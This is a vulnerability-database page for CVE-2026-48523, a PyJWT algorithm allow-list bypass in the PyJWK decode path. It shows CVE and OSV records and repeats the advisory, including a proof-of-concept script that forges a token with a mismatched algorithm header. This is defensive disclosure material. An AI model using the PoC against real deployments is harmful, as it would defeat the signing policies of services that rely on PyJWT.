Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-48523 (GCVE-0-2026-48523)
Vulnerability from cvelistv5 – Published: 2026-05-28 15:10 – Updated: 2026-05-28 15:27- CWE-347 - Improper Verification of Cryptographic Signature
| URL | Tags |
|---|---|
| https://github.com/jpadilla/pyjwt/security/adviso… | x_refsource_CONFIRM |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-48523",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-28T15:27:44.771049Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-28T15:27:49.780Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jq35-7prp-9v3f"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "pyjwt",
"vendor": "jpadilla",
"versions": [
{
"status": "affected",
"version": "\u003e= 2.9.0, \u003c 2.13.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "PyJWT is a JSON Web Token implementation in Python. From 2.9.0 to 2.12.1, there is a verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key. The token header alg is checked against the caller-supplied algorithms allow-list, but signature verification is performed with the algorithm bound to the PyJWK object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented PyJWKClient.get_signing_key_from_jwt(...) flow. This vulnerability is fixed in 2.13.0."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-347",
"description": "CWE-347: Improper Verification of Cryptographic Signature",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-28T15:10:19.141Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jq35-7prp-9v3f",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jq35-7prp-9v3f"
}
],
"source": {
"advisory": "GHSA-jq35-7prp-9v3f",
"discovery": "UNKNOWN"
},
"title": "PyJWT: Algorithm allow-list bypass when decoding with `PyJWK` / `PyJWKClient` keys"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-48523",
"datePublished": "2026-05-28T15:10:19.141Z",
"dateReserved": "2026-05-21T16:18:10.619Z",
"dateUpdated": "2026-05-28T15:27:49.780Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-48523",
"date": "2026-09-29",
"epss": "0.0017",
"percentile": "0.05711"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "pyjwt",
"vendor": "jpadilla",
"versions": [
{
"status": "affected",
"version": "\u003e= 2.9.0, \u003c 2.13.0"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:pyjwt_project:pyjwt:*:*:*:*:*:*:*:*",
"matchCriteriaId": "9EB72189-9128-4C8F-83EB-B3465C239F6D",
"versionEndExcluding": "2.13.0",
"versionStartIncluding": "2.9.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "PyJWT is a JSON Web Token implementation in Python. From 2.9.0 to 2.12.1, there is a verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key. The token header alg is checked against the caller-supplied algorithms allow-list, but signature verification is performed with the algorithm bound to the PyJWK object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented PyJWKClient.get_signing_key_from_jwt(...) flow. This vulnerability is fixed in 2.13.0."
}
],
"id": "CVE-2026-48523",
"lastModified": "2026-09-16T20:16:33.817",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 2.5,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-48523",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-28T15:27:44.771049Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-05-28T16:16:29.280",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jq35-7prp-9v3f"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jq35-7prp-9v3f"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-347"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
},
"redhat_vex": {
"aggregate_severity": "Moderate",
"current_release_date": "2026-07-27T17:13:26+00:00",
"cve": "CVE-2026-48523",
"id": "CVE-2026-48523",
"initial_release_date": "2026-05-28T15:10:19.141000+00:00",
"product_status:known_affected": "178",
"product_status:known_not_affected": "20",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "python-pyjwt: PyJWT: Verifier-side algorithm bypass leads to unauthorized information access",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48523.json",
"version": "3"
},
"suse_vex": {
"aggregate_severity": "moderate",
"current_release_date": "2026-08-31T16:50:49Z",
"cve": "CVE-2026-48523",
"id": "CVE-2026-48523",
"initial_release_date": "2026-05-30T01:59:36Z",
"product_status:known_affected": "407",
"product_status:known_not_affected": "32",
"product_status:recommended": "53",
"source": "SUSE CSAF VEX",
"status": "interim",
"title": "SUSE CVE CVE-2026-48523",
"url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2026-48523.json",
"version": "16"
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-48523",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-28T15:27:44.771049Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-28T15:27:32.358Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jq35-7prp-9v3f"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "pyjwt",
"vendor": "jpadilla",
"versions": [
{
"status": "affected",
"version": "\u003e= 2.9.0, \u003c 2.13.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "PyJWT is a JSON Web Token implementation in Python. From 2.9.0 to 2.12.1, there is a verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key. The token header alg is checked against the caller-supplied algorithms allow-list, but signature verification is performed with the algorithm bound to the PyJWK object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented PyJWKClient.get_signing_key_from_jwt(...) flow. This vulnerability is fixed in 2.13.0."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-347",
"description": "CWE-347: Improper Verification of Cryptographic Signature",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-28T15:10:19.141Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jq35-7prp-9v3f",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jq35-7prp-9v3f"
}
],
"source": {
"advisory": "GHSA-jq35-7prp-9v3f",
"discovery": "UNKNOWN"
},
"title": "PyJWT: Algorithm allow-list bypass when decoding with `PyJWK` / `PyJWKClient` keys"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-48523",
"datePublished": "2026-05-28T15:10:19.141Z",
"dateReserved": "2026-05-21T16:18:10.619Z",
"dateUpdated": "2026-05-28T15:27:49.780Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
BREW-SCOUTSUITE-CVE-2026-48523 (GHSA-JQ35-7PRP-9V3F)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:34 – Updated: 2026-09-10 01:11 – Source website[!NOTE] Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.
PyJWT 2.9.0 through 2.12.1 allows a verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key. The token header alg is checked against the caller-supplied algorithms allow-list, but signature verification is performed with the algorithm bound to the PyJWK object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented PyJWKClient.get_signing_key_from_jwt(...) flow.
Summary
PyJWT's PyJWK verification path allows a verifier-side algorithm allow-list bypass.
In affected versions, when a JWT is decoded with a PyJWK object, PyJWT verifies that the header alg string is present in the caller's algorithms=[...] list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the PyJWK object.
This lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented PyJWKClient usage flow and does not require any non-default flags or unsafe configuration.
Details
In jwt/api_jws.py in 2.12.1, _verify_signature() treats PyJWK keys differently from normal PEM/public-key inputs:
if algorithms is None and isinstance(key, PyJWK):
algorithms = [key.algorithm_name]
...
if not alg or (algorithms is not None and alg not in algorithms):
raise InvalidAlgorithmError("The specified alg value is not allowed")
if isinstance(key, PyJWK):
alg_obj = key.Algorithm
prepared_key = key.key
else:
alg_obj = self.get_algorithm_by_name(alg)
prepared_key = alg_obj.prepare_key(key)
This logic means:
- The JWT header
algis checked only as a string against the caller-supplied allow-list. - If the key is a
PyJWK, the actual verifier is not selected from the header algorithm. - Instead, PyJWT always verifies with
key.Algorithm, which is fixed when thePyJWKobject is created.
PyJWK binds its algorithm in jwt/api_jwk.py from the JWK's alg field or from key-type defaults:
if not algorithm and isinstance(self._jwk_data, dict):
algorithm = self._jwk_data.get("alg", None)
...
self.algorithm_name = algorithm
self.Algorithm = get_default_algorithms()[algorithm]
self.key = self.Algorithm.from_jwk(self._jwk_data)
So once a PyJWK is constructed, the verifier uses the PyJWK's bound algorithm, not the JWT header algorithm.
The issue is reachable through the documented JWKS flow. In docs/usage.rst, the project documents:
signing_key = jwks_client.get_signing_key_from_jwt(token)
jwt.decode(
token,
signing_key,
audience="https://expenses-api",
options={"verify_exp": False},
algorithms=["RS256"],
)
PyJWKClient.get_signing_key_from_jwt() returns a PyJWK, so this documented path is affected.
This is not a "no-key forgery" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:
- self-service OAuth client assertions
- multi-tenant key registration
- federation / BYO-JWKS trust models
- any system where external parties sign JWTs with their own registered keys
In those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept PS256, an attacker controlling an accepted RSA JWK can sign with RS256, set alg=PS256 in the JWT header, and still be accepted through the PyJWK path.
The same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to PyJWK verification rather than expected JWT behavior.
This behavior was introduced by commit ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1 (Decode with PyJWK (#886)), which is present in tagged releases 2.9.0, 2.10.0, 2.10.1, 2.11.0, 2.12.0, and 2.12.1.
PoC
Tested locally against PyJWT 2.12.1 on Python 3.12.10 with cryptography 45.0.6.
Install dependencies:
python -m pip install pyjwt==2.12.1 cryptography
Run the following script:
import json
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
from jwt.api_jwk import PyJWK
from jwt.algorithms import RSAAlgorithm
from jwt.utils import base64url_encode
# Generate an RSA keypair controlled by the attacker.
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
pub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
# Build a PyJWK from the public key.
# With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.
jwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))
# Create a token whose protected header claims RS512.
header = {"typ": "JWT", "alg": "RS512"}
payload = {"sub": "alice"}
header_b64 = base64url_encode(
json.dumps(header, separators=(",", ":"), sort_keys=True).encode()
)
payload_b64 = base64url_encode(
json.dumps(payload, separators=(",", ":")).encode()
)
signing_input = b".".join([header_b64, payload_b64])
# Sign the RS512-labelled token with RS256 instead.
sig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)
token = b".".join([header_b64, payload_b64, base64url_encode(sig)]).decode()
print("token:", token)
print("PyJWK path:")
print(jwt.decode(token, jwk, algorithms=["RS512"]))
print("PEM path:")
try:
print(jwt.decode(token, pub_pem, algorithms=["RS512"]))
except Exception as e:
print(f"{type(e).__name__}: {e}")
Observed output:
PyJWK path:
{'sub': 'alice'}
PEM path:
InvalidSignatureError: Signature verification failed
The token is accepted when the verification key is a PyJWK, even though:
- the caller restricted allowed algorithms to
["RS512"] - the signature was actually generated with
RS256
The same token is rejected when verified through the normal PEM/public-key path.
Impact
This is an algorithm allow-list bypass affecting jwt.decode() and jwt.decode_complete() when the verification key is a PyJWK, including keys returned by PyJWKClient.
The impact depends on the deployment model:
- If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited.
- If attackers can legitimately control a registered key, this is exploitable.
Impacted deployments include:
- JWT client assertion flows where each client uses its own key
- multitenant systems where tenants register JWK/JWKS material
- federation-style trust models
- any application that relies on
algorithms=[...]to enforce a crypto policy against externally controlled signing keys
What an attacker can do:
- bypass a server-side requirement such as "only
PS256" or "onlyRS512" - continue using a deprecated or blocked algorithm after the server thought it had disabled it
- authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy
What this issue does not do by itself:
- it does not let an attacker forge tokens without access to a valid signing key or signing oracle
- it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "pyjwt",
"resource_purl": "pkg:pypi/pyjwt@2.13.0",
"upstream_fixed_in": "2.13.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "scoutsuite",
"purl": "pkg:brew/scoutsuite"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.14.0_16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pyjwt@2.13.0",
"name": "pyjwt",
"resource": "pyjwt",
"strategy": "registry",
"subject_version": "2.13.0"
}
]
},
"details": "\u003e [!NOTE]\n\u003e Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.\n\nPyJWT `2.9.0` through `2.12.1` allows a verifier-side algorithm allow-list bypass when `jwt.decode()` or `jwt.decode_complete()` are called with a `PyJWK` key. The token header `alg` is checked against the caller-supplied `algorithms` allow-list, but signature verification is performed with the algorithm bound to the `PyJWK` object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented `PyJWKClient.get_signing_key_from_jwt(...)` flow.\n\n### Summary\n\nPyJWT\u0027s `PyJWK` verification path allows a verifier-side algorithm allow-list bypass.\n\nIn affected versions, when a JWT is decoded with a `PyJWK` object, PyJWT verifies that the header `alg` string is present in the caller\u0027s `algorithms=[...]` list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the `PyJWK` object.\n\nThis lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented `PyJWKClient` usage flow and does not require any non-default flags or unsafe configuration.\n\n### Details\n\nIn `jwt/api_jws.py` in `2.12.1`, `_verify_signature()` treats `PyJWK` keys differently from normal PEM/public-key inputs:\n\n```python\nif algorithms is None and isinstance(key, PyJWK):\n algorithms = [key.algorithm_name]\n\n...\n\nif not alg or (algorithms is not None and alg not in algorithms):\n raise InvalidAlgorithmError(\"The specified alg value is not allowed\")\n\nif isinstance(key, PyJWK):\n alg_obj = key.Algorithm\n prepared_key = key.key\nelse:\n alg_obj = self.get_algorithm_by_name(alg)\n prepared_key = alg_obj.prepare_key(key)\n```\n\nThis logic means:\n\n1. The JWT header `alg` is checked only as a string against the caller-supplied allow-list.\n2. If the key is a `PyJWK`, the actual verifier is not selected from the header algorithm.\n3. Instead, PyJWT always verifies with `key.Algorithm`, which is fixed when the `PyJWK` object is created.\n\n`PyJWK` binds its algorithm in `jwt/api_jwk.py` from the JWK\u0027s `alg` field or from key-type defaults:\n\n```python\nif not algorithm and isinstance(self._jwk_data, dict):\n algorithm = self._jwk_data.get(\"alg\", None)\n\n...\n\nself.algorithm_name = algorithm\nself.Algorithm = get_default_algorithms()[algorithm]\nself.key = self.Algorithm.from_jwk(self._jwk_data)\n```\n\nSo once a `PyJWK` is constructed, the verifier uses the `PyJWK`\u0027s bound algorithm, not the JWT header algorithm.\n\nThe issue is reachable through the documented JWKS flow. In `docs/usage.rst`, the project documents:\n\n```python\nsigning_key = jwks_client.get_signing_key_from_jwt(token)\njwt.decode(\n token,\n signing_key,\n audience=\"https://expenses-api\",\n options={\"verify_exp\": False},\n algorithms=[\"RS256\"],\n)\n```\n\n`PyJWKClient.get_signing_key_from_jwt()` returns a `PyJWK`, so this documented path is affected.\n\nThis is not a \"no-key forgery\" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:\n\n- self-service OAuth client assertions\n- multi-tenant key registration\n- federation / BYO-JWKS trust models\n- any system where external parties sign JWTs with their own registered keys\n\nIn those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept `PS256`, an attacker controlling an accepted RSA JWK can sign with `RS256`, set `alg=PS256` in the JWT header, and still be accepted through the `PyJWK` path.\n\nThe same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to `PyJWK` verification rather than expected JWT behavior.\n\nThis behavior was introduced by commit `ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1` (`Decode with PyJWK (#886)`), which is present in tagged releases `2.9.0`, `2.10.0`, `2.10.1`, `2.11.0`, `2.12.0`, and `2.12.1`.\n\n### PoC\n\nTested locally against PyJWT `2.12.1` on Python `3.12.10` with `cryptography 45.0.6`.\n\nInstall dependencies:\n\n```bash\npython -m pip install pyjwt==2.12.1 cryptography\n```\n\nRun the following script:\n\n```python\nimport json\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\nfrom jwt.api_jwk import PyJWK\nfrom jwt.algorithms import RSAAlgorithm\nfrom jwt.utils import base64url_encode\n\n# Generate an RSA keypair controlled by the attacker.\npriv = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub = priv.public_key()\npub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\n\n# Build a PyJWK from the public key.\n# With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.\njwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))\n\n# Create a token whose protected header claims RS512.\nheader = {\"typ\": \"JWT\", \"alg\": \"RS512\"}\npayload = {\"sub\": \"alice\"}\n\nheader_b64 = base64url_encode(\n json.dumps(header, separators=(\",\", \":\"), sort_keys=True).encode()\n)\npayload_b64 = base64url_encode(\n json.dumps(payload, separators=(\",\", \":\")).encode()\n)\nsigning_input = b\".\".join([header_b64, payload_b64])\n\n# Sign the RS512-labelled token with RS256 instead.\nsig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)\ntoken = b\".\".join([header_b64, payload_b64, base64url_encode(sig)]).decode()\n\nprint(\"token:\", token)\nprint(\"PyJWK path:\")\nprint(jwt.decode(token, jwk, algorithms=[\"RS512\"]))\n\nprint(\"PEM path:\")\ntry:\n print(jwt.decode(token, pub_pem, algorithms=[\"RS512\"]))\nexcept Exception as e:\n print(f\"{type(e).__name__}: {e}\")\n```\n\nObserved output:\n\n```text\nPyJWK path:\n{\u0027sub\u0027: \u0027alice\u0027}\nPEM path:\nInvalidSignatureError: Signature verification failed\n```\n\nThe token is accepted when the verification key is a `PyJWK`, even though:\n\n- the caller restricted allowed algorithms to `[\"RS512\"]`\n- the signature was actually generated with `RS256`\n\nThe same token is rejected when verified through the normal PEM/public-key path.\n\n### Impact\n\nThis is an algorithm allow-list bypass affecting `jwt.decode()` and `jwt.decode_complete()` when the verification key is a `PyJWK`, including keys returned by `PyJWKClient`.\n\nThe impact depends on the deployment model:\n\n- If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited.\n- If attackers can legitimately control a registered key, this is exploitable.\n\nImpacted deployments include:\n\n- JWT client assertion flows where each client uses its own key\n- multitenant systems where tenants register JWK/JWKS material\n- federation-style trust models\n- any application that relies on `algorithms=[...]` to enforce a crypto policy against externally controlled signing keys\n\nWhat an attacker can do:\n\n- bypass a server-side requirement such as \"only `PS256`\" or \"only `RS512`\"\n- continue using a deprecated or blocked algorithm after the server thought it had disabled it\n- authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy\n\nWhat this issue does not do by itself:\n\n- it does not let an attacker forge tokens without access to a valid signing key or signing oracle\n- it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw",
"id": "BREW-scoutsuite-CVE-2026-48523",
"modified": "2026-09-10T01:11:31Z",
"published": "2026-08-13T17:34:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jq35-7prp-9v3f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48523"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-176.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "PyJWT: Algorithm allow-list bypass when decoding with `PyJWK` / `PyJWKClient` keys",
"upstream": [
"GHSA-jq35-7prp-9v3f",
"CVE-2026-48523",
"PYSEC-2026-176"
]
}
BREW-SEMGREP-CVE-2026-48523 (GHSA-JQ35-7PRP-9V3F)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:34 – Updated: 2026-09-10 01:12 – Source website[!NOTE] Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.
PyJWT 2.9.0 through 2.12.1 allows a verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key. The token header alg is checked against the caller-supplied algorithms allow-list, but signature verification is performed with the algorithm bound to the PyJWK object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented PyJWKClient.get_signing_key_from_jwt(...) flow.
Summary
PyJWT's PyJWK verification path allows a verifier-side algorithm allow-list bypass.
In affected versions, when a JWT is decoded with a PyJWK object, PyJWT verifies that the header alg string is present in the caller's algorithms=[...] list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the PyJWK object.
This lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented PyJWKClient usage flow and does not require any non-default flags or unsafe configuration.
Details
In jwt/api_jws.py in 2.12.1, _verify_signature() treats PyJWK keys differently from normal PEM/public-key inputs:
if algorithms is None and isinstance(key, PyJWK):
algorithms = [key.algorithm_name]
...
if not alg or (algorithms is not None and alg not in algorithms):
raise InvalidAlgorithmError("The specified alg value is not allowed")
if isinstance(key, PyJWK):
alg_obj = key.Algorithm
prepared_key = key.key
else:
alg_obj = self.get_algorithm_by_name(alg)
prepared_key = alg_obj.prepare_key(key)
This logic means:
- The JWT header
algis checked only as a string against the caller-supplied allow-list. - If the key is a
PyJWK, the actual verifier is not selected from the header algorithm. - Instead, PyJWT always verifies with
key.Algorithm, which is fixed when thePyJWKobject is created.
PyJWK binds its algorithm in jwt/api_jwk.py from the JWK's alg field or from key-type defaults:
if not algorithm and isinstance(self._jwk_data, dict):
algorithm = self._jwk_data.get("alg", None)
...
self.algorithm_name = algorithm
self.Algorithm = get_default_algorithms()[algorithm]
self.key = self.Algorithm.from_jwk(self._jwk_data)
So once a PyJWK is constructed, the verifier uses the PyJWK's bound algorithm, not the JWT header algorithm.
The issue is reachable through the documented JWKS flow. In docs/usage.rst, the project documents:
signing_key = jwks_client.get_signing_key_from_jwt(token)
jwt.decode(
token,
signing_key,
audience="https://expenses-api",
options={"verify_exp": False},
algorithms=["RS256"],
)
PyJWKClient.get_signing_key_from_jwt() returns a PyJWK, so this documented path is affected.
This is not a "no-key forgery" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:
- self-service OAuth client assertions
- multi-tenant key registration
- federation / BYO-JWKS trust models
- any system where external parties sign JWTs with their own registered keys
In those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept PS256, an attacker controlling an accepted RSA JWK can sign with RS256, set alg=PS256 in the JWT header, and still be accepted through the PyJWK path.
The same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to PyJWK verification rather than expected JWT behavior.
This behavior was introduced by commit ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1 (Decode with PyJWK (#886)), which is present in tagged releases 2.9.0, 2.10.0, 2.10.1, 2.11.0, 2.12.0, and 2.12.1.
PoC
Tested locally against PyJWT 2.12.1 on Python 3.12.10 with cryptography 45.0.6.
Install dependencies:
python -m pip install pyjwt==2.12.1 cryptography
Run the following script:
import json
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
from jwt.api_jwk import PyJWK
from jwt.algorithms import RSAAlgorithm
from jwt.utils import base64url_encode
# Generate an RSA keypair controlled by the attacker.
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
pub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
# Build a PyJWK from the public key.
# With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.
jwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))
# Create a token whose protected header claims RS512.
header = {"typ": "JWT", "alg": "RS512"}
payload = {"sub": "alice"}
header_b64 = base64url_encode(
json.dumps(header, separators=(",", ":"), sort_keys=True).encode()
)
payload_b64 = base64url_encode(
json.dumps(payload, separators=(",", ":")).encode()
)
signing_input = b".".join([header_b64, payload_b64])
